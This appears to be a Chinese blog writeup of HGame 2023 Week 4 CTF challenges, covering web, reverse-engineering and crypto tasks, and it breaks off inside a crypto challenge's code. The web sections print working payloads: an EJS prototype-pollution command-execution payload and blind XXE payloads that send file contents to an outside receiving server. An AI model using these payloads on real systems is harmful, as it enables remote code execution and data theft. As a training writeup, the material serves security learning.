0


HGame 2023 Week4 部分Writeup

文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup

第四周的比赛难度较高,同时也出现了不少颇为有趣的题目。可惜笔者比较菜,做出来的题目数量并不是很多,不过里面确实有几道题值得好好讲讲。不多废话了,抓紧端上来吧(喜)。
注:本周CRYPTO类的赛题ECRSA在数学大佬的帮助下解出;本周REVERSE类赛题vm由大佬

Latihas

提供思路指导,在这里表达感谢!

Week4 比赛地址:https://hgame.vidar.club/contest/5

[WEB] Shared Diary

本题考查JavaScript的原型链污染漏洞,关于该漏洞的原理,网络上已经有十分详细的原理分析文章和复现教程,此处不再赘述,可以阅读这篇文章:https://blog.csdn.net/m0_62422842/article/details/125154265
分析程序源代码:

functionmerge(target, source){for(let key in source){// Prevent prototype pollutionif(key ==='__proto__'){thrownewError("Detected Prototype Pollution")}if(key in source && key in target){merge(target[key], source[key])}else{
            target[key]= source[key]}}}// ...
app.all("/login",(req, res)=>{if(req.method =='POST'){// save userinfo to sessionlet data ={};try{merge(data, req.body)}catch(e){
            console.log(e)return res.render("login",{message:"Don't pollution my shared diary!"})}
        req.session.data = data
        console.log(data, data.__proto__, req.body.__proto__);// check passwordlet user ={};
        user.password = req.body.password;if(user.password ==="testpassword"){
            user.role ='admin'}if(user.role ==='admin'){
            req.session.role ='admin'return res.redirect('/')}else{return res.render("login",{message:"Login as admin or don't touch my shared diary!"})}}
    res.render('login',{message:""});});// ...

发现登录操作在验证密码之前,先调用了一下

merge

函数,将

req.body

的所有内容转移至

data

,而这个

merge

函数看似新增了一个

if

语句,将

__proto__

过滤,防止住了原型链污染,实则不然。其实变量除了内置

__proto__

之外,还内置了

constructor

属性,该属性是用于初始化变量的特殊方法,在该属性中包含

prototype

属性,而这个

prototype

属性指向的内容与

__proto__

是一致的。因此,我们可以以这个为突破口,实现原型链污染。
接着,我们需要找到一个可以利用的污染点,以便于我们执行任意代码。再次观察代码,我们发现,该程序使用

ejs

渲染后端网页,而

ejs

正好存在一个可以被利用的原型链污染漏洞,关于该漏洞的原理,网络上也有很多博主撰文分析过,若想进一步了解可以阅读该文章:https://blog.csdn.net/DARKNOTES/article/details/124000520。
于是,我们根据文章描述,创建本地环境,并尝试提交如下

payload

{"username":"testusername","password":"testpassword","constructor":{"prototype":{"outputFunctionName":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"}}}

很可惜,注入失败,网页返回:

Error: outputFunctionName is not a valid JS identifier.

这是为什么呢?我们查询

ejs

的源代码后,发现

outputFunctionName

这一块的漏洞已经被修复,被利用:
d5610dead29cce970bd6a7829b34309c.png
不过问题不大,我们继续阅读源代码,发现此处的

escapeFn

变量似乎并没有被

test

,而这个

escapeFn

正是

opts.escapeFunction


498d55ab6db0192cc5639eae7e99461d.png
61c5cd2293954603c85f26c84cb32b1b.png
因此,我们只需将

client

设置为

true

,然后重启实例(因为若先前原型链被污染过,可能会因此报错,无法再被污染一次),将

escapeFunction

设置为注入的代码,即可,最后的

payload

如下:

{"username":"testusername","password":"testpassword","constructor":{"prototype":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"}}}

提交即可获得flag:

hgame{N0tice_prototype_pollution&&EJS_server_template_injection}

[WEB] Tell Me

访问网站,发现

hint


420808826496c7f13b606f84f6258ca5.png
下载源代码,发现玄只因藏在

send.php

中,代码的第一行甚至已经把XML加载实体打开了:
36132483ce92ea4f3ae063e7560bfb66.png
说明本题的突破口就在XML上,可以运用外部实体注入漏洞,关于该漏洞,可以阅读该文章:https://blog.csdn.net/weixin_44420143/article/details/118721145
按照教程,我们可以很轻松得写出注入用payload:
首先,在自己的网站服务器创建一个

reciv.xml

文件:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://<用于接收文件信息的地址>/%file;'>">

接着,提交如下

payload

<?xml version="1.0"?><!DOCTYPEANY[<!ELEMENTuserANY>
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
<!ENTITY % remote SYSTEM "http://<你的网站>/reciv.xml">%remote;%all;
]><user><name>&send;</name><email>111</email><content>111</content></user>

即可在接收文件信息的地址接收到flag了。

当然,本题也可以通过网站的报错信息来读取flag,而且不需要额外布置服务器,payload如下:

<!ENTITY % parse "<!ENTITY getflag SYSTEM 'http://%file;'>">

<?xml version="1.0"?><!DOCTYPEANY[<!ELEMENTuserANY>
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
<!ENTITY % remote SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSBwYXJzZSAiPCFFTlRJVFkgZ2V0ZmxhZyBTWVNURU0gJyVmaWxlOyc+Ij4=">
%remote;
%parse;
]><user><name>&getflag;</name><email>111</email><content>111</content></user>

最后得到的flag如下:

hgame{Be_Aware_0f_XXeBl1nd1njecti0n}

[REVERSE] vm

根据本题的Hint进行解题:

structvm{unsignedint reg[6]={0};unsignedint ip =0;unsignedint sp =0;bool zf =0;};

将结构体导入IDA,然后对反编译代码做一些标注和类型修改,得到以下主程序:
7b654d345ca01b7bab8be65e4e4436fb.png
此处的

run_vm

函数是笔者自己取的名字,也是本题的主要的函数,进入函数后:
c31fd122376f598e50e119c5c9f28631.png
45aab136a5d60104a846670a15bdc057.png
可以发现,其实

a1->ip

就是内存的地址指针,

code

里存的就是代码了。既然如此,其实我们可以根据每一个函数的操作,用

python

复现完整的操作,顺便将代码变得更加可读。于是,便有了下面的代码:

p =[0,3,2,0,3,0,2,3,0,0,0,0,0,2,1,0,0,3,2,50,3,0,2,3,0,0,0,0,3,0,1,0,0,3,2,100,3,0,2,3,0,0,0,0,3,3,1,0,0,3,0,8,0,2,2,1,3,4,1,0,3,5,2,0,3,0,1,2,0,2,0,1,1,0,0,3,0,1,3,0,3,0,0,2,0,3,0,3,1,40,4,6,95,5,0,0,3,3,0,2,1,0,3,2,150,3,0,2,3,0,0,0,0,4,7,136,0,3,0,1,3,0,3,0,0,2,0,3,0,3,1,40,4,7,99,255,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]

data =[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,155,0,0,0,168,0,0,0,2,0,0,0,188,0,0,0,172,0,0,0,156,0,0,0,206,0,0,0,250,0,0,0,2,0,0,0,185,0,0,0,255,0,0,0,58,0,0,0,116,0,0,0,72,0,0,0,25,0,0,0,105,0,0,0,232,0,0,0,3,0,0,0,203,0,0,0,201,0,0,0,255,0,0,0,252,0,0,0,128,0,0,0,214,0,0,0,141,0,0,0,215,0,0,0,114,0,0,0,0,0,0,0,167,0,0,0,29,0,0,0,61,0,0,0,153,0,0,0,136,0,0,0,153,0,0,0,191,0,0,0,232,0,0,0,150,0,0,0,46,0,0,0,93,0,0,0,87,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,201,0,0,0,169,0,0,0,189,0,0,0,139,0,0,0,23,0,0,0,194,0,0,0,110,0,0,0,248,0,0,0,245,0,0,0,110,0,0,0,99,0,0,0,99,0,0,0,213,0,0,0,70,0,0,0,93,0,0,0,22,0,0,0,152,0,0,0,56,0,0,0,48,0,0,0,115,0,0,0,56,0,0,0,193,0,0,0,94,0,0,0,237,0,0,0,176,0,0,0,41,0,0,0,90,0,0,0,24,0,0,0,64,0,0,0,167,0,0,0,253,0,0,0,10,0,0,0,30,0,0,0,120,0,0,0,139,0,0,0,98,0,0,0,219,0,0,0,15,0,0,0,143,0,0,0,156,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,72,0,0,0,241,0,0,0,64,0,0,0,33,0,0,1,53,0,0,0,100,0,0,1,120,0,0,0,249,0,0,1,24,0,0,0,82,0,0,0,37,0,0,1,93,0,0,0,71,0,0,0,253,0,0,1,105,0,0,0,92,0,0,1,175,0,0,0,178,0,0,1,236,0,0,1,82,0,0,1,79,0,0,1,26,0,0,0,80,0,0,1,133,0,0,0,205,0,0,0,35,0,0,0,248,0,0,0,12,0,0,0,207,0,0,1,61,0,0,1,69,0,0,0,130,0,0,1,210,0,0,1,41,0,0,1,213,0,0,1,6,0,0,1,162,0,0,0,222,0,0,1,166,0,0,1,202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]classStack:def__init__(self, size):
        self.size = size
        self.stack =[]
        self.top =-1defpush(self, ele):# 入栈之前检查栈是否已满if self.isFull():raise Exception("out of range")else:
            self.stack.append(ele)
            self.top = self.top +1defpop(self):# 出栈之前检查栈是否为空if self.isEmpty():raise Exception("stack is empty")else:
            self.top = self.top -1return self.stack.pop()defisFull(self):return self.top +1== self.size

    defisEmpty(self):return self.top ==-1defload(s):global data
    data1 =[]
    cnt =0
    number =0for i in data:
        number += i <<(cnt *8)
        cnt +=1if cnt ==4:
            cnt =0
            data1.append(number)
            number =0
    data = data1
    for i inrange(len(s)):
        data[i]=ord(s[i])if __name__ =='__main__':
    ip =0
    stack = Stack(1000000000)
    reg =[0,0,0,0,0,0]
    load('hgame{'+'0'*33)print(data[150:])
    zf =FalsewhileTrue:
        cmd = p[ip]if cmd ==0:
            cmd2 = p[ip +1]if cmd2 ==3:
                reg[p[ip +2]]= p[ip +3]print(f'reg[{p[ip +2]}]={p[ip +3]}, reg[{p[ip +2]}]={reg[p[ip +2]]}')elif cmd2 ==2:
                reg[p[ip +2]]= reg[p[ip +3]]print(f'reg[{p[ip +2]}]=reg[{p[ip +3]}], reg[{p[ip +2]}]={reg[p[ip +2]]}')elif cmd2 ==1:
                data[reg[2]]= reg[0]print(f'data[{reg[2]}]=reg[0], data[{reg[2]}]={data[reg[2]]}')print('data =', data)else:
                reg[0]= data[reg[2]]print(f"reg[0]=data[{reg[2]}], reg[0]={reg[0]}")
            ip +=4elif cmd ==1:
            cmd2 = p[ip +1]if cmd2 ==1:
                stack.push(reg[0])print("stack.push(reg[0]), reg[0]=", reg[0], sep='')elif cmd2 ==2:
                stack.push(reg[2])print("stack.push(reg[2]), reg[2]=", reg[2], sep='')elif cmd2 ==3:
                stack.push(reg[3])print("stack.push(reg[3]), reg[3]=", reg[3], sep='')else:
                stack.push(reg[0])print("stack.push(reg[0]), reg[0]=", reg[0], sep='')
            ip +=2elif cmd ==2:
            cmd2 = p[ip +1]if cmd2 ==1:
                reg[1]= stack.pop()print("reg[1]=stack.pop(), reg[1]=", reg[1], sep='')elif cmd2 ==2:
                reg[2]= stack.pop()print("reg[2]=stack.pop(), reg[2]=", reg[2], sep='')elif cmd2 ==3:
                reg[3]= stack.pop()print("reg[3]=stack.pop(), reg[3]=", reg[3], sep='')else:
                reg[0]= stack.pop()print("reg[0]=stack.pop(), reg[0]=", reg[0], sep='')
            ip +=2elif cmd ==3:
            cmd2 = p[ip +1]if cmd2 ==0:
                reg[p[ip +2]]+= reg[p[ip +3]]print(f"reg[{p[ip +2]}]+=reg[{p[ip +3]}], reg[{p[ip +2]}]={reg[p[ip +2]]}")elif cmd2 ==1:
                reg[p[ip +2]]-= reg[p[ip +3]]print(f"reg[{p[ip +2]}]-=reg[{p[ip +3]}], reg[{p[ip +2]}]={reg[p[ip +2]]}")elif cmd2 ==2:
                reg[p[ip +2]]*= reg[p[ip +3]]print(f"reg[{p[ip +2]}]*=reg[{p[ip +3]}], reg[{p[ip +2]}]={reg[p[ip +2]]}")elif cmd2 ==3:
                reg[p[ip +2]]^= reg[p[ip +3]]print(f"reg[{p[ip +2]}]^=reg[{p[ip +3]}], reg[{p[ip +2]}]={reg[p[ip +2]]}")elif cmd2 ==4:
                reg[p[ip +2]]<<= reg[p[ip +3]]
                reg[p[ip +2]]&=0xff00print(f"reg[{p[ip +2]}]<<=reg[{p[ip +3]}], reg[{p[ip +2]}]={reg[p[ip +2]]}")elif cmd2 ==5:
                reg[p[ip +2]]>>= reg[p[ip +3]]print(f"reg[{p[ip +2]}]>>=reg[{p[ip +3]}], reg[{p[ip +2]}]={reg[p[ip +2]]}")
            ip +=4elif cmd ==4:
            zf =not reg[0]== reg[1]print("judge if reg[0] == reg[1], zf = ", zf, sep='')
            ip +=1elif cmd ==5:
            addr = p[ip +1]print("jump to ", addr, sep='')
            ip = addr
        elif cmd ==6:if zf:
                addr = ip +2print("expect zf, zf=True, continue")else:
                addr = p[ip +1]print("expect zf, zf=False, jump to", addr)
            ip = addr
        elif cmd ==7:if zf:
                addr = p[ip +1]print("expect not zf, zf=True, jump to", addr)else:
                addr = ip +2print("expect not zf, zf=False, continue")
            ip = addr
        elif cmd ==255:
            exit()

这个程序是模拟输入的字符串为

hgame{000000...

的时候,程序的所有操作,输出如下:

[18432, 61696, 16384, 8448, 13569, 25600, 30721, 63744, 6145, 20992, 9472, 23809, 18176, 64768, 26881, 23552, 44801, 45568, 60417, 20993, 20225, 6657, 20480, 34049, 52480, 8960, 63488, 3072, 52992, 15617, 17665, 33280, 53761, 10497, 54529, 1537, 41473, 56832, 42497, 51713, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=0
reg[0]=data[0], reg[0]=104
reg[1]=reg[0], reg[1]=104
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=50
reg[0]=data[50], reg[0]=155
reg[1]+=reg[0], reg[1]=259
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=100
reg[0]=data[100], reg[0]=201
reg[1]^=reg[0], reg[1]=458
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=458
reg[1]<<=reg[0], reg[1]=51712
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=51713
reg[0]=reg[1], reg[0]=51713
stack.push(reg[0]), reg[0]=51713
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=1
reg[0]=reg[3], reg[0]=1
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=1
reg[0]=data[1], reg[0]=103
reg[1]=reg[0], reg[1]=103
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=51
reg[0]=data[51], reg[0]=168
reg[1]+=reg[0], reg[1]=271
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=101
reg[0]=data[101], reg[0]=169
reg[1]^=reg[0], reg[1]=422
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=422
reg[1]<<=reg[0], reg[1]=42496
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=42497
reg[0]=reg[1], reg[0]=42497
stack.push(reg[0]), reg[0]=42497
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=2
reg[0]=reg[3], reg[0]=2
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=2
reg[0]=data[2], reg[0]=97
reg[1]=reg[0], reg[1]=97
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=52
reg[0]=data[52], reg[0]=2
reg[1]+=reg[0], reg[1]=99
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=102
reg[0]=data[102], reg[0]=189
reg[1]^=reg[0], reg[1]=222
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=222
reg[1]<<=reg[0], reg[1]=56832
reg[2]>>=reg[0], reg[2]=0
reg[1]+=reg[2], reg[1]=56832
reg[0]=reg[1], reg[0]=56832
stack.push(reg[0]), reg[0]=56832
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=3
reg[0]=reg[3], reg[0]=3
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=3
reg[0]=data[3], reg[0]=109
reg[1]=reg[0], reg[1]=109
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=53
reg[0]=data[53], reg[0]=188
reg[1]+=reg[0], reg[1]=297
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=103
reg[0]=data[103], reg[0]=139
reg[1]^=reg[0], reg[1]=418
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=418
reg[1]<<=reg[0], reg[1]=41472
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=41473
reg[0]=reg[1], reg[0]=41473
stack.push(reg[0]), reg[0]=41473

// 此处大多属于类似操作,故忽略

jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=39
reg[0]=data[39], reg[0]=0
reg[1]=reg[0], reg[1]=0
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=89
reg[0]=data[89], reg[0]=87
reg[1]+=reg[0], reg[1]=87
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=139
reg[0]=data[139], reg[0]=156
reg[1]^=reg[0], reg[1]=203
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=203
reg[1]<<=reg[0], reg[1]=51968
reg[2]>>=reg[0], reg[2]=0
reg[1]+=reg[2], reg[1]=51968
reg[0]=reg[1], reg[0]=51968
stack.push(reg[0]), reg[0]=51968
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=40
reg[0]=reg[3], reg[0]=40
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = False
expect zf, zf=False, jump to 95
reg[3]=0, reg[3]=0
reg[1]=stack.pop(), reg[1]=51968
reg[2]=150, reg[2]=150
reg[2]+=reg[3], reg[2]=150
reg[0]=data[150], reg[0]=18432
judge if reg[0] == reg[1], zf = True
expect not zf, zf=True, jump to 136

可以看到在前半部分,程序都在对输入的字符进行加密,然后入栈,最后是从后往前对每一个字符进行校验,是否与程序中存储的答案一致,分析代码可知,大致的加密原理如下,

i

代表当前位数,最后

r1

是加密后的值:

r1 = data[i]+ data[50+ i]
r0 = data[100+ i]
r1 = r1 ^ r0
r2 = r1
r1 =(r1 <<8)&0xff00
r2 = r2 >>8
r1 = r1 + r2

然后,加密完毕的结果都会在最后从后到前一位一位地校验,校验过程对应下面的代码:

reg[3]=0, reg[3]=0
reg[1]=stack.pop(), reg[1]=51968
reg[2]=150, reg[2]=150
reg[2]+=reg[3], reg[2]=150
reg[0]=data[150], reg[0]=18432
judge if reg[0] == reg[1], zf = True
expect not zf, zf=True, jump to 136
data[150]

是第

0

位的值,经过后续验证,第

151

152

…分别就是第

1

2

…位的值了,于是,我们将它们单独提取出来,写一个爆破脚本,破解出最后的flag。至于为什么不直接计算,那是因为我懒,而且也不会(
最后的爆破代码如下:

import string

data =[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,155,0,0,0,168,0,0,0,2,0,0,0,188,0,0,0,172,0,0,0,156,0,0,0,206,0,0,0,250,0,0,0,2,0,0,0,185,0,0,0,255,0,0,0,58,0,0,0,116,0,0,0,72,0,0,0,25,0,0,0,105,0,0,0,232,0,0,0,3,0,0,0,203,0,0,0,201,0,0,0,255,0,0,0,252,0,0,0,128,0,0,0,214,0,0,0,141,0,0,0,215,0,0,0,114,0,0,0,0,0,0,0,167,0,0,0,29,0,0,0,61,0,0,0,153,0,0,0,136,0,0,0,153,0,0,0,191,0,0,0,232,0,0,0,150,0,0,0,46,0,0,0,93,0,0,0,87,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,201,0,0,0,169,0,0,0,189,0,0,0,139,0,0,0,23,0,0,0,194,0,0,0,110,0,0,0,248,0,0,0,245,0,0,0,110,0,0,0,99,0,0,0,99,0,0,0,213,0,0,0,70,0,0,0,93,0,0,0,22,0,0,0,152,0,0,0,56,0,0,0,48,0,0,0,115,0,0,0,56,0,0,0,193,0,0,0,94,0,0,0,237,0,0,0,176,0,0,0,41,0,0,0,90,0,0,0,24,0,0,0,64,0,0,0,167,0,0,0,253,0,0,0,10,0,0,0,30,0,0,0,120,0,0,0,139,0,0,0,98,0,0,0,219,0,0,0,15,0,0,0,143,0,0,0,156,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,72,0,0,0,241,0,0,0,64,0,0,0,33,0,0,1,53,0,0,0,100,0,0,1,120,0,0,0,249,0,0,1,24,0,0,0,82,0,0,0,37,0,0,1,93,0,0,0,71,0,0,0,253,0,0,1,105,0,0,0,92,0,0,1,175,0,0,0,178,0,0,1,236,0,0,1,82,0,0,1,79,0,0,1,26,0,0,0,80,0,0,1,133,0,0,0,205,0,0,0,35,0,0,0,248,0,0,0,12,0,0,0,207,0,0,1,61,0,0,1,69,0,0,0,130,0,0,1,210,0,0,1,41,0,0,1,213,0,0,1,6,0,0,1,162,0,0,0,222,0,0,1,166,0,0,1,202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]defload(s):global data
    data1 =[]
    cnt =0
    number =0for i in data:
        number += i <<(cnt *8)
        cnt +=1if cnt ==4:
            cnt =0
            data1.append(number)
            number =0
    data = data1
    for i inrange(len(s)):
        data[i]=ord(s[i])defencrypt(num, i):
    r1 = num + data[50+ i]
    r0 = data[100+ i]
    r1 = r1 ^ r0
    r2 = r1
    r1 =(r1 <<8)&0xff00
    r2 = r2 >>8
    r1 = r1 + r2
    return r1

dic =range(30,127)if __name__ =='__main__':
    load('')print(data[150:])print(data[189])
    ans =''for i inrange(41):
        correct = data[189- i]for c in dic:
            encryptedNum = encrypt(c, i)if correct == encryptedNum:
                ans = ans +chr(c)print(ans)

运行即可获得flag:

hgame{y0ur_rever5e_sk1ll_i5_very_g0od!!}

说实话,本题其实在前期的数据处理中踩了坑,

data

变量是

DWORD

类型,理应是占

4

字节的,然而IDA导出的数组默认却成了

char

类型,无奈笔者只好自行转换。而在转换过程中,拼接的顺序也十分重要,千万不要拼反了,不然就会找不到任何规律,白白浪费时间。

[REVERSE] shellcode

其实这道题笔者花费了不少时间,尝试了各种各样的方法反编译go语言,然而始终没找到与文件加密相关的代码,发现使用了

shellcode

还是在偶然间看到题目名称的时候才想到的(所以做题先看题目真的很关键啊!)
将程序拖进IDA反编译后发现,程序解码了一个BASE64数据,根据动态调试,发现下文中

syscall_Syscall

函数运行的正是这段被解码的数据,显然十分可疑:
70cdb1381faf64cd36a99d6b88265c0a.png
结合题目名称,我们可以知道,这是一段

shellcode


于是将该内容提取出来,放入IDA反汇编,汇编代码如下:
dbd130e74325381ab4367d2715fcad01.png
然而笔者并没有学过汇编,只能盲人摸象,胡乱猜测。根据

shl 4

shr 5

等操作,笔者猜测该段代码和文件加密有关,而且很可能是TEA加密,而密钥则是上面的四个值

0x16,0x21,0x2c,0x37

,于是编写解密程序尝试解密:

#include<stdio.h>#include<string.h>#include<emmintrin.h>#include<stdint.h>voiddecrypt(unsignedint*v,unsignedint*k){unsignedint v0 = v[0],// v7
                 v1 = v[1];// v9int delta =-1412567261;// deltaint sum =2042487904;// v3unsignedint k0 = k[0],// v2
                 k1 = k[1],// v4
                 k2 = k[2],// v5
                 k3 = k[3];// v6for(int i =0; i <32; i++){
        v1 -=((v0 <<4)+ k2)^(v0 + sum)^((v0 >>5)+ k3);
        v0 -=((v1 <<4)+ k0)^(v1 + sum)^((v1 >>5)+ k1);
        sum -= delta;}
    v[0]= v0;
    v[1]= v1;}voiddoDecrypt(constchar*c){unsignedint si128[]={0x16,0x21,0x2c,0x37};char buf[50]={0};memcpy(buf, c,strlen(c));decrypt((unsignedint*)&buf, si128);printf("%s", buf);}int __cdecl main(){doDecrypt(" i\xb3\xe4\xd0$i\x93");doDecrypt("D\xd1\x16\xa8\xf5\xd5\x82\xaa");doDecrypt("\xda\xf0y6\x06\xfd\x32\x7f");doDecrypt("\xd3\xc0`49I!\xb7");doDecrypt("\xa2ir\xe5\xfaQj\x83");return0;}

事实确实如此,运行程序后,得到了flag:

hgame{th1s_1s_th3_tutu's_h0mew0rk}

[CRYPTO] LLLCG

本题题目代码如下:

from Crypto.Util.number import*from random import randint
from sage.allimport next_prime
from flag import flag

classLCG():def__init__(self)->None:
        self.n = next_prime(2**360)
        self.a = bytes_to_long(flag)
        self.seed = randint(1, self.n-1)defnext(self):
        self.seed = self.seed * self.a + randint(-2**340,2**340)% self.n
        return self.seed

lcg = LCG()

outputs =[]for i inrange(40):
    outputs.append(lcg.next())withopen('output.txt','w')as f:
